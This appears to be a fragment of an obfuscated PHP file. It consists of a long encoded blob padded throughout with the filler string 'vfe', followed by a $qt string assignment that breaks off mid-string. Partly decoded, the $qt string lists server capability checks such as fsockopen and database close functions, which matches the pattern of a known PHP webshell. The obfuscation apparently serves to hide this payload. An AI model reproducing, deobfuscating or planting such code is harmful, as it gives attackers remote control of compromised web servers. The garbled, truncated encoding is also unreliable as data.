DBDMDg1RvfeEMwNDlCMzg4MDdDQTE4NUExOTYvfe1ODcyMzEyRjUvfeyQTY1NTIwOTQ1QTlGODg5NvfeTlBQzkxMzg1OUE2RTgwQUI4MkMwNkY2NTFGQUQvfe3NTZGMvfejlCNkEwQThvfeGRDIyvfeNvfejg5ODgvfezOTE4NzvfeQ3NDQ2MTdDQUvfeU2MzA0MvfejhvfeBNzvfehBOUU4NvfeTA1MzhCNThEQTcxRjBENzNCQzZDQzIvfexNEQ2MjgzODZvfeBMjQwQzg5MzcxNTk2M0ZGMjVEQvfeUUyQvfekY5NDYwMzk3vfeNUU4RjNBQkFBODk1vfeRDBGvfeNkMxNkU4RDM4NkVCvfeRDc3REVFQjhvfeCvfeQzRERUZERDQvfewvfeNUIyQjvfeA0RDMwQ0FvfeGQ0JCNjQxRvfekvfeZFODdCQTvfeMxvfeMkNBMzAwRjg3OvfeTQyvfeNTg4Q0Qvfe1vfeNDZDOUNEMjhERUVvfeFMzU2vfeRvfejdFNThEvfeNjE0RjZGNvfeTJGM0FvfeCMDvfeRBQThEOUU5NEZBNTJBMTU0OTvfehCQ0I2REUyQzvfehBNTEvfewMUU4NEI1MTg0NEI1Q0ZBM0JDNzcvfe3QjdFvfeRkVFMkvfeQ2OEZDOEE5MjIwvfeODAwODkwNDc0MDEzNzvfeZGNUY4NEJCMUYwNDE0MTgwMzk2NUQ0Nzvfek4vfeM0MzMDgvfe4MzdERkMvfe2OvfeTvfeEzQjkzvfeNjM4QzFFMkM4OTE0Q0JBNkRBMDg3Rjc1MEEzvfeQTvfeQxMDUzvfeODQvfe4OThDMkFCOEJGREY3MDkxNDBBNUvfeE1NTlBM0QxQvfeTVFQvfejUyNDBEMUIzQTY2MDgxMDU0N0vfeEvfe4QzZBMTvfelFvfeQzU3RUY1MDvfeg0MDNvfeERkYwN0YxNTMzODJCODkzNTdCREYvfewNkYxNTMzNTI1MDvfecwMEJBNvfeDlGODgvfe4MvfeTZBREvfeFvfeCMDA5vfeODFFQTg0Qzkvfe3REZFvfeNzVFMkU4NjvfeA0QUZFOTUwODMwMUQwOvfeEM0MzExOTvfeQ2RkE4NTvfedEQTcwRUY2NvfeTQwMkRERkZvfeFMDFBODk0NkNCQkU3vfeOEZBOEZGMTU3MEY4MTRGRDk2MzVEMUNCRvfejRGQzc1MEY4N0vfeRDMTvfelGNkFFMvfeUNDNzQ5vfeMkRBNDvfeYzRTdFODA0NzQxNzvfeA0RDdBNvfejI4vfeRjAwRDc0MEM4MDvfeJvfeDQjgwNEY5M0NDRjc2MzYwNTEyvfeMEIwODExNTc4NDvfeYwODYyNTcxQkVDMDFGODhFMTYyNUYwNDRDRTVDvfeRjUyQjE0MDQvfe1MjIyvfeODM0NTZBMvfeTY2QjQ1Mvfezkvfe2MjIxNTvfeEyN0ZFMDgxRvfeTAxNkvfeNvfeGQkU4Qzvfeg4vfeODQwNvfeUVDRvfeEY3RkExMTUwRDhvfeBQzY3MkY0OEvfeEvfe0NUYyQzY4NTBvfeEMjAxNjZFMTA0RDNCMvfezc1QTvfeU1RjvfeNCvfeODBBvfeMkQ0MTVGvfeQTAxODNCQzE3NzFENvfeDhCQzNBMDg3NjhGMkE0MUvfeI4MjAvfewMvfeDhCRDlDQkFCNkI4MUZBNDdBQTQyNDI4vfeQTQyRkY4NEvfeMxNUZGOEVDMzUyQzkwMEVGQvfeThCvfeMzvfeU4RDdBMDI5QvfeTMzRDAvfeyMTM5vfeODlCMkvfeVGOEM3RERENUE5MTIzRkQvfexRDU2MUU5MjkxRvfeEQ2QvfezU2MzQyMzU4NDJGvfeQ0FEvfeODAzREI4NvfejgyRTI3NjgwvfeMDJFNvfe0RCNzVDQ0E4RDhENzvfeI2Njkvfe1vfeRjZDMkNERUY2NzM0MTUwMzEwOvfeEE5NDA1NjQ4ODkwNjBFRkNFQzvfelEQvfekVCMUMxQTAyNzQxMDIwNUJFQkUzODBBMvfeDZFNjgzvfeNDc4MUNERTQ0vfeMDBCvfeRkVCNDvfekvfexQvfeURCMEQxMzE1vfeRvfeEEvfe0MTcvfeyvfeMTkwNDVBQjJCQvfezhERkRDMzRCQzg4MEMvfexMjAvfe4vfeODg4NDkvfexRjFENjvfeE3MjEzvfeQvfezNvfeERTlDQkM3vfeQTc3MEUyMEU5vfeMvfejvfeBFQkvfeUwNEvfeM3N0Yvfe5MvfeTU3NzvfeRBQkU1RvfeUM5NzMvfe5NDg4NkFGREE5MDIxMEY5NzA1MDVDNTlGQzk0ODgyRjFGRDUvfe3NTvfec5OEZBQzQyNvfejg2NjI4MTvfeg1NEZBRjc0MDNENjcwOUZDMvfeTYxQzUvfe3vfeRkZvfeENjY0vfeQkVEQjvfeI5RkEyOvfeTc0NTAxMDBvfeDQzdEN0vfeJFNUvfeRBMEY4NTcxNEIwMEMwNkI0NvfeUvfeI5OUEwQkIvfe4OENEMTZGvfeRvfekQwvfeRDYwMkvfeRvfeFRTY2QkVEMTBCNDA1vfeNTMxMTA0RUUxNTkwNjAxvfeRDREMEFDvfeMDvfeA5ODJGQTg2NTlBvfeMDU3MDQvfewNDgxMjgyMDU2QjA2NEYwQkI0NzBCMvfeEM4NvfeTk2NUU5MUY5vfeODNGQTvfek4MkRFOUVENkE0N0MwMjUxNvfeTJCRDE2MvfeDc1RkE5QUVGMTBEMDZEMDvfeIwNjEwQ0EvfexQTI1MUM4RTFEMTQyOTEvfe2OvfeEY1OvfeEE2RUIvfezQTA2MjM0QUUyRUI4ODA3MzUxvfeRvfeTk0Q0M1Mjvfeg5MvfezY1QTI3MUvfeFDvfeRjBENvfeTZBRjvfeEyMzUxNDBGQ0JGRkUxQzNBMvfeEI3QUM5OUFENzhvfeGMvfejk3MUIxODvfeBBMDM2MEvfeI2MTVEQ0MxQThGvfeMTvfeIyM0vfeUxOTvfec1RUYxM0EwODcvfe2QTA2NEY0QUFvfeDRUM1MDhCOUUxRDlDMzQ1Q0vfeU2NkQ0NDJDNTEvfe2ODFDNEMxvfeNDdENDUyRTZBQjvfeZBRvfeDUwMjkzRjgvfe5QjvfeFDMUUwOTM5vfeRDA4NEIxQTY2MDZBvfeQjlvfeGNvfeDvfeRCQzM4MDU3vfeNTBCvfeQkIwRDQxvfeNkvfeYwNjvfeRENkI1MvfeEFGMjU2QkJvfeDNUM0ODdENDY5NTEyOTgvfewNzA4RDBvfeFMjUvfewOvfeDUzvfeMDE0NvfeTI2RvfeDJGRDA1MvfeEJDREUxvfeQkY2vfeMDM0RUJDMDVBOTA4RDvfegxvfeQTRBODYxNUIwvfeNkYxMjY5NDVGQvfe0RFvfeMzBBMjJEvfeQzI1QjUzQzMvfe2NkEwMzvfeVBQURCOUMvfe2NUY4NzRFvfeMTQ0MzQ2MDIxQ0UvfewQzvfeI5ODAwNzUwQTA5NTQzQjU2NjQvfewMTM0M0UwvfeRvfeTAwNvfeDM4MTJGMTA3QzQwNkYvfe5OEE0ODA0NjU3RkFCOTlBNURGODkwODRvfeCvfeMUQ4QTQwMDUzQzBBvfeODRCRUvfeQwMUvfeQxNTREvfeMTA4OEU0MDc4RDUzMDEwvfeRjhCNDU5NzE4QzY4MjA1MEvfeFvfeCQzE2MEMxNjZENvfeTE1NDUyQjgxMDvfeQ0OEI2NjREREIzOvfeUFEOTc2ODY1RDEwNjhGMTQ5NjvfekvfezvfeNTE2NkVCMvfeDA2RDkxMjQ0NvfekU5OEIxNzY4NvfeEvfeQ4vfeQjNENEJFMUY0MDE1vfeNUvfeY2NDIzNUQxNDRFvfeNjhBRTVBODdvfeDQzUwRUUwRDBGODc2RUIzQjBBODFBMjc0QkJCRTBDMvfeDRFNzI0RkIwMjdGQUQwRDAvfezODA4vfeMTM2vfeQzgvfe1QjAwMTvfeQwQzAwNzVGRvfekQwNkMwQjIzNvfeTc4QTEwMUEzM0FFM0NENDVGQkIyRDBvfeEMEJCNDQzRkYxMvfezVBvfeMTI0OTM5vfeNDRCQkRvfeEMkRBMjvfeE4MjE0MDvfegvfewMzg0ODA2ODMwOENEQvfe0Q3NkvfeJGNUY1RUM2MDMwRDQzNDvfeRFQjczQvfe0EyQkvfeQzNkUzMjvfeYwRTdGRjZBMDFDRjBBMDkwRTY4M0JBQTQ3OUY3NDQxMUVEMTAxQTIzNTg4NDhEMTJEODIxQvfeTg1RkY5RDQ2OEvfeIvfewRjQvfezODg0NDMxMvfeDVFQjI5M0I3MDvfeA0MjBERUI2MjUwvfeQ0ZGNjMwNTE2MEFFvfeQjE4QTvfeU1RTQwRDgxMkZGQTvfekxvfeOTMvfe1MDdBRDlDN0Ivfe3Nvfe0vfeJGOTI1Qjcvfe2MUE3NTBEODvfeUxMTVDNzRGMzA2NDk0MkQxMkVFNUU0vfeQUMwNjJvfeCNDY4ODIxvfeMDI1MvfeEE4RUFvfeBOUQ4MDBGOTExMzEvfezNTc1vfeNDAzvfeNDZvfeBNDZDNDJCRvfejg3RDVCRjQxRjhvfeBRTg3vfeNTQ2vfeNvfeTc1N0VCNvfeTvfeMzvfeMDvfeM4MvfeTU0QzIwNjI5MjM2QjFGMvfekvfeRCQ0E2QTcxMvfeUQyM0vfeVCMjIyMDE0QTY2MEIwMzQxQjQ4RTvfeFvfeGvfeRTvfeAzMzEzMvfeEvfeVCNjvfeUxREJBMzvfek3RDvfeEvfe0vfeN0UxMDhBQjI1vfeOTMvfe2QzUxNDEwNUE2NvfekI2N0RGNDM2RTFBMTFENTkxRDE2MUMwMjg2RDk4Q0Q5MTvfegxRkQ4NDvfeg3MvfekvfeRBvfeNDc4REMxNTlEMjJBRDNBNjIwMTgzNjZCvfeNvfeUIvfewQ0JFvfeMvfe0MyMvfeDczvfeMkvfeVEQjZDQjc0RUMxMjQ1RTAxNvfeDA1vfeMDM3MjvfeBvfeDQTNGNDA4QzRDvfeNzkzQkRGMEYvfe4NDvfelDRDI1QvfejZDQTAxNDA0MUvfeI5QzAzMjRGQ0YyNURBvfeQvfeURCMkVERThCQzQ0MUvfeRDODM2N0VCMTM4REI1RDc1MTY3OEJGMDI2MTEvfe4vfeQkIvfe1RDlGNkFEMzg2N0vfeRvfeDNzQ2NvfejUzNvfeENEQzYxMjFDQjvfelFRvfeUI5MjU3RjQ0REVDMUFBvfeNTc0QvfeTNBNjvfeg4NDvfeQxMvfekQ4vfeMEE3NvfeDMyQjvfeA2RDRvfeCNkM1vfeRTvfeBENDA0MDNFMUM3OEIyQzg2NjM3MTNFvfeREQ1N0YxRURBvfeMzIxQzAvfe5NjJDMzIxvfeODU4RjIvfewNjVDODE0ODc2NTE1RvfejRBvfeMUYvfeyMEJEOTY2QjZCMzM2REvfeM4OTVERTA4QjE1NDvfegzMjEyQkRCMjdEQjk1vfeM0vfeQ2QkRERjc0QjQ1NjY0RTQ2Nzc0OvfeUM4RjZBQjM1QkEzQjMwRTAzRvfeUvfeIvfewNjhDMjhFREQ1NjE4RjU0RDVDQzBBQvfejExQjg4MTA4QjcxQjc3MTc5MDgvfe4QjI2ODvfeBBRDlGvfeNDQvfe1NjhvfeENEE5RTBEN0ZCQTBvfeEQkE1NTgwRjE0OTFBRjMwQzVFNUNDNjA3MzY5NDJCNDk4QkMyNEUvfe1OEVENjEzMjvfegxvfeMThCvfeNEVDQUMzvfeNvfezVFMkQwNDNFM0vfeU4QTUxNvfeUU1NvfejQyMzQ2MzIzNTZBNTNDMDQ5N0NGQvfezgxvfeOURGMUQvfexQjU2NvfeDk1MzQwQ0VDMkM3M0IwMjg2NThBMzQzMkQyNEYyNzY2MDdDREQxQzQ5MDU1NENDMzM1MDMvfezRTQvfezM0IyNjMzNDVvfeCQzg5NDVEMTg5MDvfehERDk5NjhENTMyQzM0MjAxQkvfeM1MzYxOTE4vfeMUZFMEvfeRCNjMwQUQwNkExNUI1vfeQ0IzRUJCvfeMTVCMDEwN0NEMvfe0RDNTdDQzBGvfeRTE2MDUwQjNFQvfejBvfeCODNEQjMzRUNCNjExvfeOUNGNjExvfeMjk0OUUwNvfeTY1RkvfeY2NvfezBDOURBMUM1NTUyRjhEN0vfeIyNzAzQTg0OTMzQzhBRjVDQzM4NjgvfewQzQyRvfeUYwNDdBQzI1RjvfelBNTFENEU3MDIzQTAxNzUyRTBBMUJCMUQ1NTvfeJGMvfeDI2M0E2MTNFMEE0MzFEOTY2RUUxNDY4NzNBvfeNDvfeEwMTE5MTQxMTAzNUJBMzMwvfeRDU2QkZERDvfeUxQTc1NTU1QjQzMEJCM0ZGQjAvfe5MEQzRDE4RTAxNkRBRENBMEI0vfeMvfezvfeAxMDcwMjQyQjVDRkQ2RvfeUQ0NvfeEU5NvfeDEzMEvfeUwMTMwMkEvfe4NjYvfe1vfeOEFENzk5QUFGMzM1QkQyQ0FDvfeOUMxNEE2RDQvfeyQUE1QkM5OENDQzRGNTY1MzBCNEE1vfeNUIwNTvfeAwMDlvfeDMvfeUIyMDFBvfeRvfekZBRTAyMzMwNzQyMEZBQjA0MjRFQkYzNzcvfe1REZFNUFCQjhvfeDOTA0MTZFMvfeTQ0NvfejBGQvfeTM3M0YyMDFFNkUvfeyMDIwNEM0MjvfeA3NTvfeNGOThGRDY0NkMzQTBBRjM4RDvfeQ2RkvfeYzQjlDQjhBQ0Y4N0I1NjQzQkU1MUVFQjYwRTU2NDg1NDgxREY0QzAzQzEyNTgwRkM4RDE2MURERUJvfeEMEE4vfeMEUxvfeN0ZFvfeQvfejBEODEvfexRkRFRDA1NDA0NDAzOTExODBDOTvfegwREUvfe4ODBBvfeODE0NDBCOEQ2Njg2QzVvfeDNjcxRDA0MTkwODBFM0Q2MEFDMEvfeMwvfeMDZBMEE4NDgvfe3RDA2NUM5QvfezvfeI0vfeOUU1OvfeDYyMvfeDUvfewRDEwNTY1RDcvfe0MjZFvfeOEJDMDBCRvfejgzvfeQzvfeQxMEUwQUU0MUMzMDVFM0NDMENCNTYvfe4RTEyRUYxQzYwMTJENDE1Qvfe0VCMDMwQTkxNUI0MDEzRDRCODgxMTBvfeCNURvfeBQTVEQUQyNjMwODgzRkIwOTUwNzY5MjI1vfeRkYyRjdENkIyMDA0MzA4ODE5NDEzNTc3REEvfe4vfeMDIxMDA0OTvfehBMvfeTc4QTAxODg3ODAwN0Yvfe4QjExOEY0OTQ3M0JvfeGOTcyRjIxQjM2NTM0vfeMTvfeQ4NkZGRjk0OEJENkE4MUU1ODhvfeEvfeMzlDNDcwQ0Qvfe0MvfeTQvfezQTFvfeEMDNCvfeNUNDRvfejI1MkVvfeCNkMxRkY0Njc1OEEyNzQ3MzhvfeDNDcvfe0RjIyQzQxOUQxQUUzMjRFQzvfeg1RDJFMUM1RkU0MTgvfe2RTAwRTvfegyNvfeEE2RjE0NzRvfeEMjFBQzBFNkZGRDEvfe1NvfezVvfeGM0FFQjc4RvfejBGRkJGMzQwMTkxMvfezvfeAwMDdGMDQxOUMwRDk2RUUyRUIxNTEzMERDOTgxNzg4OEvfeMyQzc3ODk1RkZCvfeNTQxNTk5RUVFvfeOTA2NzI3MUZEvfeOvfeDvfeJFNzYwQjNFNkE2MDIvfeyvfeNjZDNDAvfe0MDkwN0I3NDJBNjhvfeEMzhDRkRBMzlDQjE1NTgwQjAzMThBQzA1MjI0RvfeUVCRkIvfe1NUvfeQwQzIwvfeNTvfeIyNDEyODBFvfeQUvfeJFMDk3Qvfe0vfeYwQjZDMTEyODM2RDFFOTcwREEwQzFCMUZGRjgwNEVCNzQxvfeQjM1QUvfeI2MjAxNzvfeI2ODvfeI4QURERkvfeZEQkVFMDvfec3NDIxvfeN0YvfexRDQ2N0JGQzcyMDYzOERDNzvfecwMjAyRTYzvfeOEY4vfeMvfeDlEOEI1MTdvfeCQvfeTM1QzZGNvfezc1MERFQkQ3MzNDOTA4MDIzNjU3QvfejM0RDlCQjlBRkU1vfeODI4vfeMDZENkvfeFFNEJGMEvfeZGMvfezVGQTZFRDg1QjUwQTMyMTkyNkVGMkJCNDQ2QUvfeIyRjk5RUUvfe1N0VCvfeQjY4RvfeEvfeRFNUFDM0VDNzQyMzBCQUIxRjc3NTE2vfeNUVCM0FDMEvfeYwNTk2QjA5NzlENvfeTg0QjU2vfeMzREQ0EwvfeOTc1vfeNzIwvfeMjcvfexRkMwOvfeEE1QzlERTBFNvfeUZGRUvfeNCMDMwMDvfeUxMjgzMDcvfe0NTEyQkJDMjMxMUVDMUEyRDvfec1NzcvfewQvfezkyMEYxREEyQvfezvfeY4NUI3QTZFQjUyREYyRjdEOEI1QvfekIxMEVDMTFvfeBQjZEMTBBNTYwMTvfegwNUU2RUJERjU0QjMxODvfeAvfe2NUZFMDA4OvfeDvfeUwODg0NUZvfeERjNFQjA5QvfekFvfeBQjQxRDkwREZEMEY2QzhENEQvfewvfeQUvfeQ1OEIxODAvfezMvfeTY1MTvfec5QUQ3RvfeEvfeQxODJDMTZFNEYwMjvfeZCvfeNTNvfeCMzgwNTvfelFMzQ1MEEyM0IwNzQ2NUJCNvfezIyNTFDQUU1vfeQTgwvfeNDUwRjhDRDU4vfeMTVEQjlBQUvfeY1NDkwRjhGQTE4QTQ2RDUyRDFvfeGRTlERUvfeU4M0MwNTdDODM3NjBBNEQ0MDVFNvfe0QyNTM5REJEMTvfeg3Rjg3ODdFMEJEvfeOTVGQUQ2QTvfeBBQTFBMUY0REvfeVFMEvfeZFOEEwNDvfeU4MjNvfeDNjY3RDlFQjY1OEIxNTEyREE2vfeNUU5NEvfeNCNEI2Qzg0vfeQTc0MEZBN0RGNUJENEQ2MzBBvfeRjg4MDY1vfeRvfeDA5NThCvfeNjvfeA5MTvfedDNTUyMkI1QjEzNTY2QjAzMkNGvfeMDM2QkUwM0I0OUvfeY1NzJGMvfeUE2QUUwvfeNvfejQ4RkNDMjBGNkFFREEwNkFENzVBNUQ2NDZEMEJFMDVGRDAzMkMvfezNzEyNjI1Mvfe0NCMEJDMThDMDA4ODVEQzAvfeyOUMyNUEwQvfekM4MzlvfeGQvfeUFCvfeNjvfeAyODdDMjVGN0UxQvfezIvfe5RvfeEVCMDIvfe1RUExMDVCMTFENDIwMzvfeA5ODvfeUwNTZDMzUvfexRvfekQvfezMUvfeVBQUNBM0VDMUNDMDMvfe1OvfeDAwMDBEMvfezc0NjZBQvfeUvfeZvfeGMEY0RDUzRUU2vfeNURvfeEOTMwNERGMvfeDNFNTBGMDhFQzvfeAzQkRFNEYyQjJGMjvfeBvfeGMEFGRjBCMDUwQvfe0NGMEvfeFCNjU2RDAwM0vfeQvfe1MDMwMjAxvfeN0ZCNvfekRGM0ExOTAzvfeMDcvfewNjvfeAyMTAwNDQ1vfeMvfeDAwNTM1MzAwMDUwvfeQjVFRUZvfeGN0YyQzvfeIwMjgzOvfeDUvfewNTgwNzAvfe4MDAzNzMwMvfezA1NvfezUwMDcwRjvfeIwMEJENzE0NvfejFERTAwvfeMDvfeg2MDY4NjAvfewOTc4MDA3M0FFvfeOTU2RTA4MDcxNTA3MDAxQvfeTAxMEU3RDdvfeCRERGRjAwMjgwMDZFMDvfeA3NTAwNvfekMwMTI5MzIwvfeRjZFNzU2QzZDNkvfeZCNvfe0ZGRvfeEYwQTcyNzU2RTc0Njvfekvfe2RDY1MjA2NTcyNzI2RjcvfeyMjAwRjBEMEEwMzU0NEM0RjA3RTvfeRCRkQ5NTM1MzEvfexMEUwMDUzNDk0RTQ3MDA0NEJCRkQ2vfeNvfeUVENEY0RDQxMvfeTIxMTUyvfeMzvfeYzMvfeDMvfeyMzvfegwODJEMjA0QkI3NkYvfe3Rjc5NjE2MjZDNzQ2RvfejIwNjk2RTY5NTY2MTZDNjk3QTBENjg2NUQ2N0vfeVvfeCRUQ5vfeNjE3MDM3MjczNzZFNkY3NDNEMDQ2MEVGQjZGRjc1Njc2ODIwNzM3MDYxNjMyMzY2N0I2vfeQzvfeZGNzc2OTvfeM4MEFCOUVDMzY2MvfeTA2vfeNkY2RTMvfe3MzvfeZFRDY3MjA3OTczNzQ2NDM1NzvfeAvfe3NTcyMkJGNkRCNUFGQjcvfe2Njk3Mjc0NzUyMTMzQTU2MzIzvfeMvfejvfeA2MzBDOUI0MkJFRDg2QzI4NUYzNDVGMkFCREY2REE3NjY1Nzg1QzJGNTgvfewNkRDRTJvfeFvfeNkJFQjA5MzVGMzEzvfeOvfeUY3NkY3MDY1NTgzMTMyNjBEQkVFNzM2RvfejBGNjQ2NTvfecvfezNjMyQjM4ODg3MDZCNkQ0NjI0OvfeDvfeEvfe2NTY0MTkzMDI0REY0MDUvfe3MjvfeMzNzZEOTIvfe2RkRCQUvfeRBNkvfeFDNzQ2OEJGNjvfeEyRvfejZDNkY2vfeMzZCMvfeUI2Qzg1MzAxNzMvfe0NjRCNzvfeg2NUI2QvfejZFNjEyRvfeTAyQTIyMTcyNkQwMDUwvfeRDhEQvfeUI3NzA0MDY3NzvfeI2MTvfeZEvfeMjA0QTZEMzY2vfeODI5RUM4NTJGMzAvfezOTRGMTvfeBFNzFvfeBOEvfeQ2NjQxMkEyQjMwMkUyQjvfeg0RUY1M0vfeM4Mzvfeg2MTvfecyNjcvfe3NTIvfe4NzM1RjZEQkJvfeGNjNDMzvfeAzMjY2QzE2RTZFNjc4MvfejZGOUNvfeCNTJvfeFQjYwNTc0M0ExMTvfeY0RTY3RjREQzNEQjQyMkIvfeyRDYwMvfezk2NjE1NTY2OTczQUFFRkY2vfeNjBGQzQzMkIvfeyQjIwNTJBMDvfeRDNjk2MkI0NzI3OTI3NkQwRjg3vfeQjkwQTJEMTY0NTBFMjExMvfeTUwvfeRDg2NTZCOUNENDNBQzIwMDJFvfeMDAzQ0U1RUQ2RDczNkRFMDvfeIvfe1MkM2QjZDvfeNzc2RTNFMUvfeIxN0VFRDhGOvfeDvfeQ3NvfejU3NDRDNjEzMjQxMDI3NjY1NTBBRTc1NzA1QkvfeRCQ0U2MjEzMEY1Nzk1NjQyNvfejg3vfeNjvfeUzNEJFRjvfeBGRjczNzM2MTY3NjU0MjZGvfeNzgvfe0MTAwvfeNzU3MvfezI1MzMzMjJFNjQyQUREOTMxMvfejUyRUFCNzU5NTvfeYwvfeMzVBNzdDRjvfec2NjcwQjVBOTU1QvfeTBFvfeMEI1QjhvfeFMDM5MjQ4M0FBRkI5QkJCNvfeTZEOTA0vfeQTAwNjQwMDJDMjA0RDIwMDg2REM5QkvfeRCOvfeTc5MDvfeA2MzJGNjQyRjA2RDc0RDAzRkvfeRCNTEvfe3OUE0MTQ0RUU2NTZENjI2vfeQjVCNEU2vfeRjc2QzNGRTZEOTMwQjRGOvfeTg2RjBBNTM2NTcwNzQxNDg2QTk2ODg1NDEvfe2Qvfezk2NzExQkJFRURvfeGvfeOUIvfe5NDEwNzZFNjvfeU0MUYzNjlBNjREMTAxNjM2MTcyNzYzNjg0NjY1MzIvfe3NTMzQkRGN0RFN0I0QTYxvfeNkUwQTY3NUY1NzUzN0JvfeBRjdvfeCRUY0QjQ3NDMzNzc5NDMzRjNCvfeNkVBOUQwvfeREUzMzIzQjAzQzYvfe0MThCMvfeEVENTg3QjRGNUUvfewOTU0NvfejgxMjczMTNEOUMxNUE2MTU3QkM3QzBDNTQ3NTA5QjlEOUIxQzY0RDI1MTA1vfeMzc1MDc0vfeM0Y3REU3QkvfeVGM0IzNzJGMjcyMzFGMDM5RTczQ0VCOTBBMTEvfexODFGMjvfeYyRDlDvfeNzNDvfeRUM1QUY4Mvfejg5OTA5NzlFNzJDRTM5RvfeTdBNUFDQjNCvfeQUMxvfeQzhBNzgwvfeMDgwNDvfedDMvfejhvfeCQjkyOTc1MDvfeQzQkQzODRGMjk2MzYwQTk1MjNGNEQ3OvfeTczNzE5MvfeDk2vfeMjBBOvfeTUzQTYzNjMwNkvfeVDMjYzQvfejvfeUwQjM1NvfeUE2QTA5QTY2M0I3QjvfekyMUU3NkEzNzvfeUyQzA3NzAzvfeNUMzMjE3MvfeDNBQkNGOTFGQjJFNzQ2RDcwMEZCNvfeDA2MDBvfeCNjQ3MkE0ODFEM0EvfeyQvfezdFQvfejUzRDI1RTRFNkZGREI3MzBBMkY2MzZENjQyRTY1Nzg2NTIwMkY2vfeMzIwMDA2OvfeDY1NkM1NTE5vfeMkIvfe3NTMxMzcvfe3NDA3Mzk2vfeN0ZGvfeNzZCNkU0MzgwQjMwMDY2ODc0NzQ3MDNBMkYyRjhGMkRGNUZGMkVEOTYzMvfekQ5vfeQjA5vfeQ0FFNEM4RUJCOEYxQ0vfeFCREI0RURDRUYzRkZDM0vfeZFNkYxMjBEMDBDRkMyRvfeDREOENBQTdCMvfeERDMEJDRUM0QkNGRUvfeIzQzlCvfeOUE2RjZEQ0U2RkUyMUMyQjdvfeCvfeRUI2QTNCQTdFMTc1QzNvfeGNDQ4NjdCODFEMTBGMDAvfeyMDA1OTMvfexOTUvfe3MzFEOTEvfezMTk5REU0NjY3MjcxRjvfeAxMDhERTg4MzIxvfeMTlCMjE3OEUxvfeODBGMzA0MzRFNTvfeE0vfeNvfekMyRjgwvfeMzkyMDvfeE3QvfekQ4OTRBMvfeDA3MDEwvfeMvfeTUzMTA3QzgxQTRCOTAyMDExRjvfeAyNjQ0MTAxNTI0vfeNzYzNTdEOUQ5MDcwQTJGMDIwNzc0M0NGvfeMkUvfe0Qzk2QzA4NDAwOvfeTE0MvfeEE3M0YwMTA5MzvfeI3NvfeEY5RUM0MTE5vfeNDEyNzAxMvfezNDNzlFNEMvfe5NDQxODBDMTk3MvfekU0MUFBQvfezFCOTMyNzvfeRGOUU3NDFDNEM3ODNDNzk2RUYyRTRDOTJDN0ExQ0ZDMThGRjg2QvfejI5MzE3RDg1NEREMDM4NTcyMjAwMvfeTA3NvfeDAyNjkvfe5MvfejgyMDQ4MDAxOTQwMjY5MjEwODQxvfeMDAyMTk5MDA5vfeOvfeDEwMTE5OTAvfewMTE5MTA4MjAyNjAxQzE2MDIvfezQjIwRUYvfeyvfeMDBEMEMwNTAxMzMxvfeNjRERDMwQzM2MDMwNzA0MTgwNTBEMzQ0REQzMzQwvfeNjAvfe5MDcvfewQzA4MzJEODIwODMwOTBBMvfeUIwQkMxQkVGNzAyNTczQvfejA3MEY1NvfezVGOTA2RUIwMTAxMzExMDMxMjE3MjEvfewQzMyRDgyMDM1MEY0MTQzMvfezZEODYwODM1MDMzvfeNTvfeIxNzUzMDdEODYvfewODMwRDU3NUY1vfeOTdCNkMxNvfe0QyMzQ0RDM3vfeNkRBQjIwNzAxQzcyRDvfeg2MERGMEJDNzJGODBCMzgvfexMDc2MDgzMEMzNjgyMUY4Mvfezg0OvfeEYyvfeMDvfegzMzRDRDkxMjk5RUExODMwRDMyRDhBNDZvfeGQTdCNzlGQ0U3NjBFQzI2MDFGRDcwQjE4MDvfecwMDY5QkVCMzVEMDUvfexN0MwMEvfeIxRDA0vfeOTA2NjQwMDYvfe5NjhEMDgvfe2NvfeDQwMDY2NDhFOEvfeY5MDAvfe2NjQ0MDA2OTE5MjkzvfeQ0MwNjYxNDAwMzlGNvfezhvfeFRjRENTRFQzI1RkYwMjA0MjIyvfeQjYwMjdDRjBFRvfejY4Mjc5v"; 
$qt="1bivfegivfeZnRwX2xvZvfe2luIikpLAphcnJheSvfegiU2Vzc2lvbtans9YiLElvfeuZm9fRnVuKCJzvfeZXNzvfeaW9uX3N0YvfeXJ0IikpLvfeAphcnJvfehevfeSgiU29ja2V01qez1iIsSvfeW5mb19GdW4oImZzb2Nrb3BlbiIpKSvfewKYXJyYXkoIk15U1FMyv2+3b/iIixJbmZvX0Z1bvfeigibXlzvfecWxfYvfe2xvc2UiKSksCmFycmFvfe5KCJNU1NRTMr9vt2/vfe4iIsSW5mvfeb19GvfedW4oIm1zc3FsX2Nsb3vfeNlIikpvfeLvfeAphcnJheSgivfeUGvfe9zdGvfedyZSBTvfeUUzK/bvfe7dv+IiLEluZm9vfefvfeRnVuKCvfeJwZ19vfejbvfeGvfe9zvfeZSIpKSwvfeKvfeYXvfeJyYXkvfeoIvfelNvfeRTGl0Zvfecvfer9vvfet2/4iIsSW5mb19vfeGdW4oInNxbGl0ZV9jbG9zZSIpKSwKYXJyYXkoIk9yYWNsZcr9vvfet2/vfe4iIsSW5mvfeb19GdW4oIm9yYV9jbG9zZSIpKvfeSwKYXJyYvfeXkoIkvfe9vfeyYWNsZSA4yv2+3b/iIixJbvfemZvX0vfeZ1bigiT0NJTG9nT2ZmIivfekpLAphcnJheSvfegiU3vfelCYXNlyv2+3b/iIixJbmvfeZvvfeX0vfeZ1bigvfeivfecvfe3liYXNlX2vfeNsbvfe3NlIikpLAphcnJheSgvfeiSvfeHlvfewZXJ3YvfeXvfeZlyv2vfe+3b/iIixJbmZvX0Z1bigiaHdfYvfe2xvc2UvfeiKSksCmvfeFycmF5KCJJvfebmZvck1peMr9vt2/4iIsSW5mb19GdW4oImvfelmeF9jbG9zZSIpKSwKvfeYXJyYXkoIkZpbGVQcm/K/bvfe7dv+IiLEluZm9fRnVuKCJmvfeaWvfexlcHJvX2vfeZpvfeZWxkY2vfe91bnQiKSksCmFyvfecmF5KCJEQkEvfevREJNway90yIsSvfeW5mb19GdWvfe4oImRvfeiYV9jbG9vfezZSIpLiImbmJzcDsvJm5ic3vfeA7Ii5JbvfemZvX0Z1vfebigiZGvfeJvfetY2xvc2UiKSvfeksCmFycmF5vfeKCJPvfeREJDL2RCQVNFway90yIvfesvfeSW5mb19GdW4oIm9kYmNfY2xvc2UiKSvfe4iJm5ic3A7LyZuYnNwOvfeyIuSW5vfemb19vfeGdW4oImRiYXNlX2Nsb3NvfelIikpLAphcnJheSgiUFJFTM/gyN3T77eoW1BvfeDUkVdIixJbvfemZvX0Z1bigicHJlvfeZ19tYXRjaCIpKvfeSwKYXJyYXkoIlvfeBERvfetans9YiLEluZmvfe9fRnVuKvfeCJwZGZfY2xvcvfe2UiKSvfeksCmFycmF5K